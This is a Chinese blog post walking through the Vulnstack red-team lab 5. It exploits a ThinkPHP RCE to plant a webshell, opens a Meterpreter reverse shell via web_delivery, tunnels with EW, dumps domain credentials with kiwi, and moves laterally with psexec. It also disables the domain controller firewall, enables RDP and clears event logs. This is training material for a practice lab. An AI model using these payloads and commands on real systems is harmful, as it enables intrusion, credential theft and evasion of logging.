• Vulnstack----5、ATT&CK红队评估实战靶场五



    一 环境搭建


    1、项目地址
    http://vulnstack.qiyuanxuetang.net/vuln/detail/7/

    2、环境拓扑

    3、网络配置信息

    1.VMware新建网卡VMnet6,选择仅主机模式,并将网段IP设置为192.168.138.0

    2.Win7设置双网卡,一个网卡选择VMnet6、另一个NAT
      模拟外网IP:192.168.111.129(在Win7主机开启IP自动获取)
      内网IP:192.168.138.136
      账号密码:sun\heart 123.com 和 sun\Administrator dc123.com

    3.Windows 2008 连接VMnet6
      内网IP:192.168.138.138
      sun\admin 2020.com

    4.攻击机器Kali连接NAT
      IP:192.168.111.128

    4、开启web环境


    二 外网渗透


    1.端口扫描

    nmap -T4 -sC -sV 192.168.111.129
    
    • 1

    2.访问80端口

    http://192.168.111.129
    
    • 1
    #尝试页面报错,获取thinkphp具体版本
    http://192.168.111.129/?s=1
    
    • 1
    • 2

    3.搜索thinkphp相关漏洞

    searchsploit thinkphp
    
    • 1

    4.最后一条为RCE,查看46150.txt

    cd /usr/share/exploitdb/exploits/php/webapps
    cat 46150.txt
    
    • 1
    • 2

    漏洞描述: 由于thinkphp对框架中的核心Requests类的method方法提供了表单请求伪造,该功能利用 $_POST[‘_method’] 来传递真实的请求方法。但由于框架没有对参数进行验证,导致攻击者可以设置 $_POST[‘_method’]=‘__construct’ 而让该类的变量被覆盖。攻击者利用该方式将filter变量覆盖为system等函数名,当内部进行参数过滤时便会进行执行任意命令。

    5.使用payload进行攻击测试,whoami执行成功

    http://192.168.111.129/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
    
    • 1

    6.写入webshell

    #写入webshell的命令
    echo "" > shell.php
    
    • 1
    • 2
    http://192.168.111.129/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "" > shell.php
    
    • 1
    http://192.168.111.129/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
    
    • 1

    7.蚁剑连接

    shell:http://192.168.111.129/shell.php
    
    • 1

    三 内网信息收集


    ipconfig /all   # 查看本机ip,所在域
    route print     # 打印路由信息
    net view        # 查看局域网内其他主机名
    arp -a          # 查看arp缓存
    whoami          # 查看当前用户
    net start       # 查看开启了哪些服务
    net share       # 查看开启了哪些共享 
    net config workstation   # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
    net user                 # 查看本机用户列表
    net user /domain         # 查看域用户
    net localgroup administrators   # 查看本地管理员组(通常会有域用户)
    net view /domain         # 查看有几个域
    net user 用户名 /domain   # 获取指定域用户的信息
    net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
    net group 组名 /domain    # 查看域中某工作组
    net group "domain admins" /domain  # 查看域管理员的名字
    net group "domain computers" /domain  # 查看域中的其他主机名
    net group "domain controllers" /domain  # 查看域控制器(可能有多台)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    3.1 本机信息收集

    1.执行ipconfig
    双网卡,外网ip:192.168.111.129,内网ip:192.168.138.136

    2.执行whoami
    administrator 管理员账户

    3.执行 net config workstation
    域环境名为 sun

    3.2 域内信息收集

    1.net user /domain
    查看域用户

    2.net group "domain computers" /domain
    查看域内主机

    3.net group "domain controllers" /domain
    查看域控制器

    4.net group "domain admins" /domain
    查看域管理员

    5.ping DC.sun.com
    域控制器为DC$,域名为sun.com域管理员为Administrator。ping DC$得到域控的IP:192.168.138.138


    四 横向移动


    4.1 路由转发和代理通道

    1.生成一个Meterpreter

    Metasploit的Web Delivery Script是一个多功能模块,可在托管有效负载的攻击机器上创建服务器。当受害者连接到攻击服务器时,负载将在受害者机器上执行。此漏洞需要一种在受害机器上执行命令的方法。特别是你必须能够从受害者到达攻击机器。远程命令执行是使用此模块的攻击向量的一个很好的例子。Web Delivery脚本适用于php,python和基于PowerShell的应用程序。

    # 生成一个powershell类型的payload
    use exploit/multi/script/web_delivery
    set target 2    # 选择使用powershell类型的payload
    set payload windows/meterpreter/reverse_tcp
    set lhost 192.168.111.128
    run
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    蚁剑执行生成的payload,反弹回一个meterpreter的shell

    2.添加路由
    在msfconsole里面添加一个通向192.168.138.0网段的路由

    route add 192.168.138.0 255.255.255.0 1
    route print
    
    • 1
    • 2

    3.搭建代理通道

    攻击端上传ew_for_linux64并执行如下命令:

    ./ew_for_linux64 -s rcsocks -l 1080 -e 1234
    
    • 1

    Win7上传ew_for_Win.exe并执行如下命令:

    start ew_for_Win.exe -s rssocks -d 192.168.111.128 -e 1234
    
    • 1

    4.配置proxychain
    将socks5服务器指向127.0.0.1:1080,便可以使用proxychains将我们的程序代理进内网。

    vim /etc/proxychains4.conf
    
    • 1

    4.2 抓取域用户密码

    1.使用wiki模块抓取密码

    load kiwi
    
    • 1

    注意结尾警告:64位机器上运行32的Kiwi

    2.进程迁移

     # 可以看到x64 和 x86的进程
     ps 
    
    • 1
    • 2
    # 通过进程id,选择一个64为进程进行迁移
    migrate pid  
    
    • 1
    • 2

    3.密码抓取

    kiwi_cmd privilege::debug
    kiwi_cmd sekurlsa::logonPasswords
    
    • 1
    • 2

    抓取到域管理员账号密码:Administrator:Test@1234

    4.3 使用Psexec登录域控

    1.使用exploit/windows/smb/psexec模块

    use exploit/windows/smb/psexec
    set rhosts 192.168.138.138
    set SMBDomain SUN
    set SMBUser administrator
    set SMBPass Test@1234
    set payload windows/meterpreter/bind_tcp
    run
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    2.远程关闭域控防火墙
    sessions创建失败,可能是由于防火墙导致,远程关闭。

    net use \\192.168.138.138\ipc$ "Test@1234" /user:"administrator"
    net use
    
    • 1
    • 2

    利用sc创建服务来远程关闭Windows 2008的防火墙

    #创建服务
    sc \\192.168.138.138 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
    #启动服务
    sc \\192.168.138.138 start unablefirewall
    
    • 1
    • 2
    • 3
    • 4

    3.使用exploit/windows/smb/psexec模块

    4.4 3389远程登录

    1.开启域控3389远程桌面

    use post/windows/manage/enable_rdp
    set session 1
    run
    
    • 1
    • 2
    • 3

    2.登录域控


    五、痕迹清理


    1.查看事件日志

    run event_manager -i
    
    • 1

    2.清除事件日志(包括六种日志类型)

    run event_manager -c
    
    • 1
  • 相关阅读:
    【UNI】对接蓝牙智能笔遇到的问题
    web前端之sass中的颜色函数、active按钮激活、hover鼠标悬浮、disabled禁用、scss循环、css
    java计算机毕业设计开放式教学评价管理系统源码+mysql数据库+系统+lw文档+部署
    无涯教程-JavaScript - ERFC.PRECISE函数
    浅谈 volatile
    【若依】定时任务问题:关闭了定时任务,但是依然在跑,且同一时刻跑了多条记录,为什么?
    C++入门【上节】
    ADRC Ardupilot代码分析
    453. 最小操作次数使数组元素相等
    【微信小程序 | 实战开发】常用的基础内容组件介绍和使用(2)
  • 原文地址:https://blog.csdn.net/sycamorelg/article/details/131185663